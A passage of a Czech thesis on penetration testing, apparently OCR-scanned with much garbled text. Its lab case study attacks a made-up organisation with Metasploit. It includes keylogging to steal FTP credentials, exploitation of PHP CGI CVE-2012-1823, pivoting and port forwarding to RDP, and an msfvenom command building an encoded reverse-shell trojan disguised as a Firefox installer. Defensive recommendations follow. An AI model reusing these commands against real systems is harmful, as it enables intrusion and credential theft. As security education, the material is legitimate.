Ptikazem ,webcam_snap“ je napiiklad mozZné vytvorit fotografii pomoci
webkamery. Prikaz ,screenshot” pak, jak jiZ nazev napovida, vytvori kopii aktualni
obrazovky infikovaného systému. Vysledky vyuziti ptikazu ,screenshot jsou ziejmé

7 obrazki 31 a 32.
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V tomto konkrétnim pripadé bylo vyuziti této metody Spehovani pomérné
uspédné. Ze snimku obrazovky priloZeném jako obrazek 32 je zfejmé, Ze uzivatel
infikovaného systému byl prichycen pri kopirovani Textového dokumentu na misto

v internetu s I[P adresou 10.0.0.2.

v7s v

Ziskani pristupu k témto soubortim a piipadna dalsi ¢innost s nimi (jako je
napriklad jejich zaSifrovani za ucCelem vydirani) by byly pro potencialniho
nepratelského utotnika jednou z priorit kratce po objeveni jejich existence.

Penetracni tester se na né tedy také zaméri.

kali/Ilnjtrmwg. jpeg

Obrazek 31 Vytvoreni snimku obrazovky
Zdroj: Vlastni tvorba
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Obrazek 32 Snimek obrazovky porizeny skrze Meterpreter
Zdroj: Vlastni tvorba
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7 7

Piresnéjsi informace ohledné konkrétni sluzby umoZiujici sdileni souborti na
10.0.0.2 vCetné portu, na kterém tato sluzba operuje, je mozné ziskat pomoci skenu
porti a podobnych technik. S ptihlédnutim ke snimku obrazovky porizenému
v pfedchozim kroku je vSak snadno mozné dedukovat, Ze touto sluzbou bude

pravdépodobné FTP, ktera standartné operuje na portech 20 a 21.

Vtomto pripadé lze vyuZzit faktu, Ze existuje pfima konektivita mezi
pocitatem penetracniho testera a serverem hostujicim FTP sluZzbu a existenci FTP
na portu 21 ovérit prostym pripojenim. Pokud by pfima konektivita mezi témito
stanicemi neexistovala, bylo by nutné vyuZit nékterou ze specialnich technik, které

jsou dale prezentovany v pripadové studii.

Jak je zfejmé z obrazku 33, sluzba FTP je skutetné na serveru 10.0.0.2
zapnuta a nasloucha na standartnim portu. Z obrazku je ale dale zfejmé, Ze FTP
sluzba je nakonfigurovana jako FTP s autorizaci. K pristupu je tedy nejdiive nutné

se autentizovat za pomoci jména a hesla.

L$ ftp 10.9.0.2
Connected to 18.8.8.2.
220 Welcome to blah FTP serwvice.

MName (10.9.8.2:kali): Kali

331 Please specify the password.
Password:

530 Login imcorrect.

ftp: Login failed

Obrazek 33 Pokus o pristup k FTP
Zdroj: Vlastni tvorba

Zjisténi, Ze je FTP server zabezpeceny, predstavuje pomérné zasadni
pirekaZku ve snaze pristoupit k datiim zde umisténym. Metasploit pro tyto pripady
obsahuje inastroje, které jsou schopné provést brute-force ¢i slovnikovy utok.
Jednim ztéchto nastroji je i ,auxiliary/scanner/ftp/ftp_login“, ktery slouZi
specificky k utoku na prihlaSovaci udaje sluzby FTP. Pro ucely pripadové studie je
predpokladano, Ze tento modul, byl vyzkouSen, avSak se nepodarilo prihlasovaci

udaje prolomit.
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Po tomto neuspéSném pokusu se zda, Ze data zde umisténa jsou mimo dosah
penetracniho testera. Nastroj Metasploit Framework vSak nabizi i moZnosti pro

snimani stiskl klaves (obecné znam jako keylogger).

Spusténi keyloggeru pro Windows je v Meterpreteru jednoduché. Postaci
zadani prikazu ,run post/windows/capture/keylogeger”. Detailni ukazku spusSténi
kyloggeru je na obrazku 34. Z obrazku je dale zfejmé, do které presné lokace je
zaznam stisknutych klaves ukladan. Ukonceni ¢innosti keyloggeru je pak moZzné
za pomoci béZného signalu pro preruSeni pravé probihajiciho procesu, tedy

stisknutim kombinace klaves ,,Ctrl+C"“.

> run post/windows/capture/keylog_recorder

uting module agai JOHNDOE-PC

L
ting the keylog recorder ...
Keystrokes being

n to /home/kali/.msf4/loot/2024
Recording

User int
hutting down keylog recorder.

Obrazek 34 Spustény keylogger
Zdroj: Vlastni tvorba
PreCtenim a analyzou souboru, ktery obsahuje zaznam stisknutych klaves je
takto moZné zjistit celou radu zajimavych informaci. Informace, které byly zjiStény
v tomto konkrétnim ptipadé jsou ziejmé z obrazku 35. Nejzajimavéjsi informaci,
ktera byla pouzitim keyloggeru zjiSténa jsou posledni 2 radky, které pravdépodobné
obsahuji jméno a heslo nutné kautentizaci danému FTP serveru. ZjiSténi
prihlasovacich idajii k FTP serveru predstavuje zasadni posun vpred. Nyni je jiz
moZné se k FTP serveru standartné pripojit, stahnout vSechny soubory ¢i s nimi

jakkoli jinak manipulovat.
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fhumefkaiif.msfﬁfluutf2B24B2B9B55139_defau1t_iﬂ.B.B.E_
Keystroke log from explorer.exe on JOHNDOE-PC with user JohnDo

2024-02-09 ©5:52:25

Obrazek 35 Zaznam stisknutych klaves
Zdroj: vlastni tvorba

Béhem procesu ziskdvani snimkii obrazovky bylo dle scénére pripadové
studie zjiSténo, Ze uZivatel, ktery tento pocitat¢ vyuziva, se pravidelné pripojuje
k serveru 10.0.0.2 za pomoci webového prohlizece. Na tomto serveru je totiZ
spusténa i webova sluzba, ke které se uzivatelé této smysSlené organizace pravidelné
pripojuji za ucCelem pristupu k jednoduché webové aplikaci, ktera slouZzi ke spravé
jejich dochazky. Alternativné miZe byt pritomnost webové sluzby na serveru
zjisténa pomoci techniky skenovani portl. Tato moZnost je detailné popsana dale

v pripadové studii.

Po zjiSténi, Ze na serveru je spusSténa mimo FTP sluzby a dalSich i webova
sluzba, je mozné zkoumat, jestli tato sluzba neobsahuje néjakou zranitelnost. Jednou
z moznosti je pripojit se k této sluzbé standartné pres webovy prohlize¢. Nasleduje
prohlidka prezentovaného webu a identifikace zranitelnosti, Ta miZe byt
provedena nékolika moZnymi zplisoby od vyuZiti automatickych néstroji

po manualni snahu danou sluzbu prozkoumat za ucelem dalsi exploitace.

Za timto ucelem byl v pripadové studii vyuzit nastroj Nmap, ktery diky své

podpoie scriptli disponuje rozsahlymi schopnostmi identifikovat zranitelnosti
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na vybraném cili. Konkrétni syntaxe pro spusSténi Nmapu je u pripadové studie
nasledujici: ,Nmap -p 80 --script vuln 10.0.0.2“. Tento prikaz omezuje Nmap
na skenovani pouze portu 80 na vybraném cili svyuZitim vestavéného scriptu
»vuln“, ktery zkou$i identifikovat Sirokou Skalu zranitelnosti. Nastroj v tomto
piipadé identifikoval zranitelnost CVE-2007-6750, ktera umozni provedeni utoku
typu odepfeni pristupu. Dale nastroj Nmap nabizi fadu navrhii pro provedeni SQL
injekci a radu jinych potencidlnich zranitelnosti. V neposledni radé se vystupu
programu Nmap nachazi i informaci o tom, Ze informac¢ni soubor phpinfo.php je
volné dostupny. Tento soubor obsahuje typicky jediny prikaz, ktery spusti PHP
funkci ,phpinfo()“, ktera automaticky vypiSe velmi detailni popis aktualni
konfigurace PHP na daném serveru. Analyzou téchto informaci (konkrétni verze
a nastaveni PHP serveru) je moZné zjistit, Ze tento server je zranitelny na utok CVE-
2012-1823 neboli ,,PHP CGI Argument Injection“, ktera umoZiiuje na zakladé cilené
manipulace s http argumenty dosahnout vzdaleného spusténi injektovaného kédu

na cilovém stroji.

Konkrétni nastaveni Metasploit Frameworku za tucelem exploitace této
zranitelnosti je na obrazku 36. Jak je na obrazku vidét, exploit probéhl uspésné
a uspésSné byl vracen shell, se kterym je moZné interagovat. Z obrazku je dale moZzné
vidét, Ze nebyl vybran konkrétni payload. Metasploit tedy automaticky vybral
payload typu ,shell bind_tcp“. Tento typ payloadu se od vyrazné lisi od drive
pouzitého ,,meterpreter/reverse_tcp“. V tomto pripadé tedy nedojde k vraceni relace
Meterpreteru, ale na vzdaleném pocitaci bude vytvoren handler, ke kterému se pak

bude moZné pripojit k shellu.
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exploit(
> 10.08.8.2
exploit(

wew—data

dav

d

index.php
mutillidae
phpMyAdmin
phpinfo.php
test
tikiwiki
tikiwiki-old

Obrazek 36 Exploitace webové sluzby
Zdroj: Vlastni tvorba

Jak je zfejmé z obrazku 36, exploitace probéhla v poradku. Skutecnost, Ze
vysledkem spojeni neni relace Meterpreteru, ale jen vzdaleny shell, neznamena
neuspéch. Vzdaleny pristup kshellu predstavuje vazné prolomeni zabezpeceni
aumoZni penetratnimu testerovi (nebo pripadnému nepratelskému uto¢nikovi)
Sirokou $kalu moZnosti pro sbér informaci a ovlivnéni chodu samotné funk¢nosti
a dostupnosti dané sluzby. Pro dalSi ziskani vétSiho rozsahu funkci je vSak spusténi

7

Meterpreteru na kompromitovaném systému klicové.

Za timto ucelem je nutné stavajici relaci vzdaleného shellu upozadit vyuzitim
klavesové  zkratky Ctrl+Z a spuSténim modulu Metasploitu ,use
post/multi/manage/shell_to_meterpreter*. Tento modul presné, jak nazev napovida,
umozni vylepSit relaci poskytnutou do konfiguracni moZznosti ,SESSION“ na relaci
Meterpreteru. Stejného ucinku je mozné dosahnout prikazem ,sessions -u 3“
Cislovka ,3“ v tomto ptipadé odkazuje na identifikaéni ¢islo relace a parametr ,-u“
odkazuje na anglické slovo ,upgrade“ tedy vylepSit. SpusSténi tohoto modulu je
zobrazeno na obrazku 37. Z obrazku je vidét, Ze spuSténi modulu probéhlo bez

v

problému a Ze nova relace s identifika¢nim Cislem 4 byla uspéSné spusténa. Namisto
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tohoto relace vzdaleného shellu se ale nyni jedna o plnohodnotnou relaci

Meterpreteru.

msfe post( } > run

-

SESSION may not be compatible with this module:
*# incompatible session platform: php

perading session ID: 3

g i cploit/multi/handler

progress.:

msf6 post( N |

Obrazek 37 VylepSeni na relaci Meterpreteru
Zdroj: Vlastni tvorba

Po UspéSném navazani relace Meterpreteru je mozné dale kompromitovany
systém prozkoumavat. Za timto ucelem je moZzné vyuZit vSechny moZnosti, které
byly v ramci této pripadové studie jiZ prezentovany. Vyuzit je ale mozné i celou fadu

dalSich moZnosti.

Béhem faze prozkoumavani systém byl v tomto pripadé proveden prikaz pro
zobrazeni informaci ohledné konektivity tohoto serveru. Zobrazené vysledky jsou
na obrazku 38. Zasadnim zjiSténim je, Ze tento pocitac obsahuje dvé sitové karty a Ze

je pripojen do dvou rliznych siti.
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msf6 post(
Starting interaction with & ...

r » ifconfig

Hardware MAC : @0:@@:00:00:00:08
MTLU : ;

Flags

IPv4

IPv4

IPvE

IPvE

: eth@d
Hardware MAC : 08:00:27:2f:8c:e0

MTU 1508

Flags : UP,BROADCAST ,MULTICAST
IPv4 Addr 1.8, lﬂﬂ.¥

IPv4 Netm 2 :

IPvE Addr

IPvEa MNetm

Name : ethl

Hardware MAC : @8:@@:27:8c:ch:3e

MTU : 1588

Flagz : UP, EEDADIA’T MULTICAST

IPv4 MNetm
IPve Addr
IPvE MNetm

Obrazek 38 Zjisténi existence vzdalené sité
Zdroj: Vlastni tvorba

Zjisténi existence dalsi sité predstavuje velmi diileZitou informaci. O této siti
totiZz nemél penetratni tester vtomto pripadé naprosto Zzadné informace.
Penetra¢nimu testerovi rovnéZ schazel i zptsob komunikace s touto siti, protoZe
zadna zdosud kompromitovanych stanic (aZ na tento server) nedisponovala

konektivitou do této sité. Nové nalezena sit predstavuje pro penetracniho testera
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e

dalsi prileZitost pro jesté vétSi prolomeni pocitacovych systémii smyslené

organizace. Tuto sit je tedy vhodné dale prozkoumat.

Jednou z mozZnosti, jak to ucinit, je vyuZzit primého pristupu shellu
a Meterpreteru na kompromitovaném pocitaci za ucelem instalace nastrojt jako je
Nmap, které toto prozkoumévani vzdaleného cile umozni. Tato moZnost vSak viibec
neni prakticka a hrozi pti ni pomérné velké riziko odhaleni. Namisto toho je mozné
vyuzit funkce Metasploitu, ktery umoZnuje vyuzit kompromitovany pocitacovy
systém jako prostrednika neboli,proxy“ ¢i ,pivot“ a dalSi komunikaci se vzdalenymi
pocitaci posilat skrze néj. Pro tento ucel je v Metasploitu moZné vyuZzit modul
»post/manage/autoroute”, ktery po nastaveni konfigura¢ni moZnosti ,SESSION“
automaticky prida dostupné pocitacové sité skrze tuto relaci a veSkera komunikace
s nimi v rdmci Metasploitu miiZe byt posilana vyse popsanym zplisobem skrze tuto
vybranou relaci. SpusSténi tohoto modulu je zobrazeno na obrazku 39. Pro spusténi
modulu musi byt samozrejmé aktualni relace Meterpreteru z minulého obrazku
prenesena do pozadi standartnim zplisobem tak, aby bylo moZné s moduly

Metasploitu interagovat a vyuZivat je.

msf6 post( )} > run

SESSION may not be compatible with this module:
# incompatible session platform: linux
Running module against metasploitable.localdomain
Searching for subnets to autoroute
Route added to subnet 18.8.188. ' 255.8 from host's routing t
Route added to subnet 10.0.8.8/ from host's r
Post module execution completed
msf6 post( N |

able.
outing table.

5

Obrazek 39 Pridani vzdalenych cest
Zdroj: Vlastni tvorba

Po provedeni uspésného pridani cest do cile mimo primou konektivitu stroje,
na kterém je spusStén Metasploit Framework, je nyni uZ moZné s témito vzdalenymi
sitémi v ramci Metasploitu komunikovat, tak jako by mezi strojem a vzdalenou siti
pfima konektivita existovala. DoSlo tak kvelmi vaznému poruSeni zakladnich

a velmi restriktivnich pravidel, ktera smysSlena organizace implementovala.

Za ucCelem prozkoumani této sité je mozné opét vyuZit nastroj Nmap Cci

podobnych nastrojli. Vzhledem k tomu, Ze ale je vzdélena sit piimo nedostupna, je
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nezbytné pro spravnou funkci Nmapu vyuzit dalSi techniky a nastroje jako je

napriklad ,proxychains“ tak, aby pres tuto mapovani spravné fungovalo.

Jak ale bylo uvedeno v predchozi kapitole, Metasploit Framework sam
disponuje Sirokou $kalou skenerii a nastrojli pro prozkoumdavani siti a konkrétnich
cilovych stanic. Jednou z takovych moZnosti je i modul
~post/multi/gather/ping_sweep“, ktery jak jiZ nazev napovida, provede
prozkoumani cile s vyuzitim zprav ICMP echo. Za ii¢elem konfigurace tohoto modulu
je nutné nastavit konfiguratni moZnosti ,,RHOSTS" a,,SESSION*. Vystup po provedeni
modulu je na obrazku 40. Z vystupu je ziejmé, Ze modul byl proveden tuspésné
a doslo k objeveni dalSich tf hostl. Dle IP adresy je moZné dedukovat, Ze IP adresa
10.0.100.1 pravdépodobné predstavuje vychozi branu, 10.0.100.2 predstavuje
server a zbyvajici dvé adresy predstavuji nové, dosud neobjevené stroje (uzivatelské

pocitace, servery, kamery, ...).

msf6 post( )} = run

Performing ping sweep for IP range 10.0.100.0/24
[+] 10.8.108.4 host found
[+] 10.8.108.1 host found
[+] 10.8.108.2 host found
[+] 18.8.108.3 host found
Post module execution completed
msfEé post( ) > |

Obrazek 40 Nalezené vzdalené pocitace
Zdroj: Vlastni tvorba

Po zjiSténi existence dalSich zarizeni na vzdalené siti penetracni tester zkousi
dalSi prolomeni zabezpeceni celého pocitacového systému organizace pokusem
o kompromitovani téchto nové objevenych zafizeni. Jednou znejvice uZite¢nych
informaci pro penetra¢niho testera je seznam sluzeb, které na konkrétnim pocitaci
naslouchaji (tedy seznam otevirenych portli). K tomuto tcelu byva typicky vyuZit
nastroj Nmap. Metasploit Framework vSak disponuje fadou stejnych funkci jako
Nmap a moZnost tohoto skenovani otevienych portli je jednou z nich. Za timto
ucelem miZe byt vyuZit modul ,auxiliary/scanner/portscan/tcp“. Jak je znazvu
modulu moZné odvodit, jedna se o stejny typ skenovani jako vyuZiva v zakladnim

nastaveni i Nmap, tedy plnohodnotny TCP sken. Obrazek 41 obsahuje vystup
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takového skenu pouZzitého proti pocitaci 10.0.100.3. Z obrazku je zifejmé, Ze dany
pocitac naslouchd na celé radé portli. Za pozornost vSak stoji port 3389, tedy port
urceny pro RDP, tedy Remote Desktop Protocol. Jedna se o proprietarni protokol

firmy Microsoft, ktery slouZzi ke vzdalenému grafickému pripojeni k pocitaci.
18.0.108.3
18.0.108.3:1: OPEN

18.8.1¢ i - TCP OPEN
18.8.1¢ - TCP OPEN

18.0.100.3: : TCP OPEN

10.0.1€ » - TCP OPEN
18.0.108.3: ] TCP OPEN
10.0.10€ » - TCP OPEN
: Scanned 1 of 1 hosts (180%
module execution completed
msf6 auxiliary( ) > 1

Obrazek 41 Vystup po skenovani porti
Zdroj: Vlastni tvorba

Zjisténi otevireného portu 3389, tedy portu typicky vyuZzivaného pro RDP je
pomérné zasadni. Pokud vzdaleny pocitaC neni zaheslovany nebo vyuziva pouze
velmi slabé heslo je takto mozné se do pocitace prihlasit a kompromitovat sit cilové

organizace jeSté vice neZ dosud.

Pokus o pripojeni na vzdaleny pocita¢ pomoci protokolu RDP vSak neni uplné
banalni ukol. Vzdaleny pocitac je dostupny pouze z prostiedi Metasploit Framework
za vyuZziti kompromitovaného serveru se dvéma sitovymi kartami jako proxy.
Operacni systém, a tedy i externi programy, kterymi miZe byt napiiklad néktery
z nastrojii pro penetracni testovani, popsanych v kapitole 7, konektivitou
nedisponuji. Tento problém je mozZné vyreSit za pomoci techniky presmérovani

portli znamé spiSe pod svym anglickym nazvem ,port forwarding“.

Vyuziti této techniky spociva v presmérovani komunikace externiho
programu, ktery je spu$tén na pocitat¢i penetracniho testera tak, aby tuto
komunikaci provadél skrze Metasploit Framework, ¢im miZe byt zajisténo, Ze
externi program, ktery ptivodné konektivitou ke vzdalenému pocitaci nedisponoval,

v

se nyni k tomuto pocitaci uspésné pripoji.
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Podrobné nastaveni presmérovani portli pro ucel uspésného pripojeni
na vzdalenou plochu je moZné provést provedenim prikazu ,portfwd add -1 3389 -p
3389 -r 10.0.100.3“ v Meterpreterové relaci, pres kterou ma byt tato komunikace
smérovana. Parametr ,-I“ nastavuje port, na kterém bude naslouchat pocitac
penetracniho testera. Parametr ,-p“ pak analogicky slouZzi k upresnéni konkrétniho
portu, na kterém nasloucha vzdaleny pocitac. Adresa tohoto vzdaleného pocitace je
pak specifikovana parametrem ,-r‘. Konkrétni provedeni tohoto prikazu je

na obrazku 42.

er > portfwd add -1 33 33 r 18.e.188.3

orward TCP relay created: ( al) 133 » (remote) 389

Obrazek 42 Konfigurace presmérovani porta
Zdroj: Vlastni tvorba

Jak je tedy ziejmé v minulém kroku, byl Metasploit Framework nastaven tak,
aby poslouchal na portu 3389 penetrac¢niho testera a veSkerou komunikaci, kterou
takto obdrzi dale presmérovaval dle svych smérovacich pravidel na vzdaleny
pocitac. K ovéreni toho, Ze vSe bylo nastaveno spravné’, je pak mozné vyuzit prikaz

hetstat”.

Vystup z tohoto piikazu je na obrazku 43. Z obrazku je zfejmé, Ze na adrese
localhost na portu 3389 posloucha proces ,ruby“ s PID 25045. Nazev procesu
vychazi z toho, Ze samotny Metasploit Framework a vSechny jeho moduly jsou
napsany pravé v programovacim jazyce Ruby. VSe se tedy zda byt korektné

nastaveno.

(Not all processes could be identified, non-owned process info

will not be shown, you would have to be root to see 1t all.)
tcp 6] 0 0.0.0.0: 0.0.0.0:% LISTEN 25845/ Tuby

Obrazek 43 Presmérovani portii pro externi program
Zdroj: Vlastni tvorba

Po dokonceni nastaveni je nyni jiZ moZné spojeni vyzkouSet otevienim
nového terminalového okna a zadanim prikazu ,rdesktop 127.0.0.1“. Z obrazku 44.

v

Je ziejmé, Ze spojeni bylo Uspésné vytvoreno a Ze presmérovani portid je tedy
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spravné nastaveno. Analogickym zpilisobem je pak moZné zajistit konektivitu

ke vzdalenému cili pro kazdy dalSi externi program.

rdesktop - 127.0.0.1

127.0.0.1
Autoselecting keyboard maf
Core(warning): Cert cate
Failed to initializ
Core(warning): Cert
Connection established us

Other user

kali

Obrazek 44 Uspésné navazané spojeni skrze RDP
Zdroj: Vlastni tvorba

Dle zobrazené obrazovky vzdaleného pocitaCe je mozné urcit, Ze zdejsi
pocita¢ ma nainstalovan operacni systém Microsoft Windows 10. Po kratkém
prozkoumani tohoto pocitace je dale ziejmé, Ze pocitaC je zaheslovany a neni tedy
moZné se do néj snadno prihlasit. Za tcelem dal$iho postupu miiZe byt vyzkousen
néktery ztypu utoku na hesla ¢i je moZné vzdalenou plochu k prolomeni
zabezpecleni nevyuZit a namisto toho postupovat jinym zplisobem. Z obrazku 41 je
napriklad zfejmé, Ze mimo portu 3389 tento pocita¢ nasloucha jeSté na celé radé
dalSich portli a néktery z nich miiZe byt zranitelny. Pro ucel pitipadové studie je vSak

predpokladano, Ze vSechny tyto metody byly vyuZzity, avSak netispésné.

Po selhani ostatnich metod pro prolomeni zabezpeceni tohoto pocitace bylo
rozhodnuto vyuZit stejny zplisob utoku jakym byl ovlddnut prvni pocitac, tedy
vyuziti $kodlivého souboru. Z obrazku 32, ktery ukazuje obsah FTP serveru, je
ziejmé, Ze kromé dokumentii se na serveru nachazi i spustitelny soubor , Firefox

Installer.exe”. Lze tedy predpokladat, Ze existuje realna Sance, Ze uZzivatel tohoto
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vzdaleného pocitace dany soubor drive ¢i pozdéji spusti. Kompromitace vzdaleného
pocitace tedy miiZe byt jednoduse dosaZeno zaménou tohoto instala¢niho souboru

za soubor Skodlivy.

Priprava na tuto moznost je vSak o poznani naro¢néjsi, neZ to bylo v pripadé
prvniho ovladnutého pocitace. Problémem je opét nepfima konektivita mezi témito
dvéma stroji. V tomto piipadé vSak nemiiZe byt vyuZito presmérovani specifického
portu na lokalnim stroji na predem urceny port na vzdaleném stroji. Timto typem
piresmérovani porti je totiZ mozZné zajistit pouze konektivitu externich programt na
vzdaleny pocitac. Pro tento pripad je vSak nutné zajistit konektivitu obracenou, tedy
pripojeni, které inicializuje sam vzdaleny pocitac. Metasploit pro tento pripad nabizi
moZnost tzv. ,reverzniho presmérovani portii“, které namisto vyse popsaného
postupu funguje presné obracené. V tomto pripadé pocitac, ktery funguje jako proxy
zacne naslouchat na néjakém predem definovaném portu a veSkerou komunikaci
zde obdrZenou dale presmérovava na specifickou adresu a pod predem
definovanym portem. Z pohledu infikovaného pocitate tedy vSe bude vypadat,

jakoZe tento pocita¢ komunikuje pouze se serverem.

Detail nastaveni reverzniho presmérovani porti je zobrazen na obrazku 45.
Kompletni syntaxe ptikazu je: ,portfwd add -R -L 10.0.0.4 -1 5555 -p 6666“. Parametr
»-R“ v tomto pripadé slouZi k nastaveni pravidla jako reverzni. Parametrem ,-p“ je
pak moZné nastavit port na kterém bude pocital, ktery je nastaveny jako proxy
naslouchat. VeSkera komunikace pak bude presmérovana na I[P adresu
specifikovanou parametrem ,-L“ pod portem nastavenym parametrem ,-1.

+ > portfwd add -R -L 10.8.8.4 -1 5555 -p 6666
e TCP relay created: (remote) [::]: » (local) 1@.¢

o

Obrazek 45 Nastaveni revezniho presmérovani portt
Zdroj: Vlastni tvorba

Pro pripravu $kodlivého souboru je opét mozné vyuZit program ,msfvenom®.
Pti jeho nastaveni je opét nutné mit na paméti, Ze neexistuje pfima konektivita mezi

stroji a vSe peclivé nastavit presné tak, jak bylo pripraveno v minulém kroku.

87



Syntaxe pouzitého prikazu pro vytvoreni Skodlivého souboru je tedy
.msfvenom -p ,windows/meterpreter/reverese_tcp -e x86/shikata_ga_nai -i 5
LHOST=10.0.100.2 LPORT=6666 -f exe -o FirefoxInstaller.exe”. PouZzity prikaz
funguje presné stejnym zpiisobem jako pri vytvotreni prvniho Skodlivého souboru.

Cilem pripojeni je ale namisto pocitace penetracniho testera proxy server.

JeSté pred samotnym nahranim $kodlivého souboru na FTP sluzbu serveru
10.0.0.2/10.0.100.2 je potieba pripravit handler. Jeho konfiguraci je mozné vidét
na obrazku 46. Opét se jedna o 1:1 mapovani dle pripraveného $kodlivého souboru.
Port, na kterym handler naslouchg, je tedy nastaven na 5555, IP adresa na 10.0.0.4
a jako payload je pouZzit Meterpreter pro Windows, ktery bude fungovat pres

reverzni spojeni TCP. Iniciatorem spojeni je tedy opét vzdaleny pocitac.

indows/meterpreter
it )

handler on

Obrazek 46 Priprava hanlderu
Zdroj: Vlastni tvorba

Po dokonceni pripravy je nyni jiZz mozné Skodlivy soubor nahrat na FTP
server. Toho miiZe byt snadno dosaZeno skrze ovladnuty pocita¢ 10.0.0.3 ¢i piimo
nahranim souboru pres samotny server 10.0.0.2/10.0.100.2, ktery byl rovnéz

v ramci penetracniho testu ovladnut.

Dal8i faze penetracniho testu nastava az spoletné se spusténim Skodlivého
souboru na vzdaleném pocitaci. Jak je ale zfejmé z obrazku 87. Vzdaleny pocitac
zfejmé vyuZziva novou a plné aktualizovanou verzi opera¢niho systému spoletné
s nainstalovanym antivirovym softwarem. Skodlivy soubor byl tedy ihned

detekovan a zarazen do karantény.
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(&3 2,-"9,-’26)24 115 PM

B
Threat quarantined
© q Severe
2/9/2024 1:14 PM
) Detected: Trojan:win32/Meterprater.d
Status: Quarantined
Quarantined files are in a restricted area where they can't harm your device.
8 They will be removed automatically.
j=| Date: 2/9/2024 1:14 PM
Details: This program is dangerous and executes commands from an
attacker.
@
Affected items:
oh file: C\Users\user\AppData\Local\Microsoft\Windows\fietCache\lE

\S2SRIH1 1\Firefoxinstaller[1].exe

file: Ch\Users\user\Desktop'\Firefoxinstaller.exe

Learn more

Actions v

Obrazek 47 Detekce Skodlivého souboru
Zdroj: Vlastni tvorba
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file://C:/Users/user/AppData/Local/Microsoft/Windows/rreetCache/IE
file://C:/Users/user/Deslrtop/Firefoxlnstaller.exe

10 Zavéry a doporucéeni

V ramci zpracovani prace bylo dosaZeno vSech stanovenych hlavnich i dil¢ich cili.
V uvodnich ¢astech prace byla podrobné predstavena problematika penetra¢nich
testli vcetné zakladnich pojmi tykajicich se této oblasti. Na toto bylo navazano
analyzou soucasné legislativy a norem. Z této analyzy vyplynula dlleZita skutecnost:
penetracni testovani neni jen prostredkem ke zlepSeni zabezpeceni; pro zakonem
urcené subjekty se jedna i o legislativni povinnost. RozSifeni mnoZstvi regulovanych
organizaci z priblizné 400 na vice nez 6000, které je planovano v souvislosti
s implementaci nové evropské smérnice NIS2 do Ceské legislativy, déla toto téma

navic velmi aktualnim.

Soucasti této prace je tedy i analyza soucasnych metod a pristupii v oblasti
penetracniho testovani stejné jako predstaveni rady z nejpouZivanéjsich néstroji
vyuzivanych za timto ucelem. Nastroji Metasploit framework byla pak vénovana
samostatna kapitola vCetné navazujici pripadové studie, ktera byla zpracovana

za vyuZziti tohoto nastroje.

V pripadové studii byla predstavena drobna smyslena organizace a ukazkovy
pripad jakym by bylo moZné pocitacovou sit této organizace kompromitovat.
DileZitou soucasti bylo vyuZiti pocitate se dvéma sitovimi kartami, za Ucelem
demonstrace dosaZeni vzdalené a nedostupné sité. Tento prvek tedy predstavuje
vyraznou slabinu z pohledu zabezpeceni. V tomto konkrétnim pripadé by bylo
moZné vydat doporuceni nevyuZivat tuto sitovou architekturu, piesné kviili tomuto
riziku. Je vSak zfejmé, Ze tato sitova architektura v nékterych pripadech dava smysl
z praktickych diivodi. Jako variaci tohoto pfistupu je napiiklad moZné povaZovat
vyuzivani virtualnich privatnich siti (VPN, které je dnes ¢asté zejména kviili rostouci
popularité prace zdomova. Proto spiSe, neZ ploSné zakazani dava vétsi smysl
veSkeré vyuZiti této sitové architektury maximalné omezit a pocCitace, které i pres to

disponuji konektivitou do vice siti, diisledné zabezpeCit.

Dal8i zasadni doporuceni vychazi ze zavéru pripadové studie, ve které byl
proveden pokus o kompromitaci jednoho z pocitaci ve vzdalené siti. Za timto

ucelem byl vyuzit obdobny postup jako v pripadé prvniho pocitace. Zasadni rozdil
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ovSem spocival ve verzi operacniho systému, ktery byl v druhém pripadé plné
aktualizovany Windows 10 se spusténym anti-malwarovym softwarem. DlleZitym
doporucenim tedy je dlsledné dbat na vyuZivani aktualizovanych operac¢nich

systémi stejné jako ostatniho softwarového vybaveni pocitaci.

Béhem pripadové studie byl rovnéZ kompromitovan server, ktery zajistoval
uloZny prostor celé organizace. Pokud by se jednalo o skute¢ny nepratelsky utok,
tak takto kompromitované zabezpeceni serveru by mohlo v praxi znamenati ztratu
vSech dat organizace. Stoprocentni jistota bezpeci dat neni ani v pripadé vyuZziti
aktualizovaného softwaru a anti-malwarové ochrany. Je diileZité totiZ pfipomenout
existenci zero-day exploitdi, pied kterymi je preventivni ochrana velmi naro¢né az
nemozna. Je tedy nezbytna dileZitd data za vSech okolnosti peclivé zalohovat,
nejlépe na vzdaleném misté, na kterém musi byt opét peclivé zajiSténa bezpecnost

sité.

Problematika penetracnich testli a kyberbezpecnosti ma mnoho smért, které
by Slo rozvijet v dalSich pracich. Pripadova studie naprtiklad probéhla z praktickych
diivodii na pomérné jednoduchém prostiedi, které simulovalo velmi malou
organizaci. Bylo by zajimavé zjisténé poznatky otestovat na komplexnéjSim Ci
realném prostredi, které vyuziva doménovy kontrolér ke spravé uZzivatelskych
stanic. Dal$im zajimavym smérem pro dal$i prace by také mohlo byt bliZsi
seznameni s dal$imi nastroji predstavenymi v kapitole 7. Nastroj Nmap se napriklad
ukazal byt velmi vSestranny a prakticky, kviili ¢emuz byl nakonec vyuZit

i v pripadové studii.
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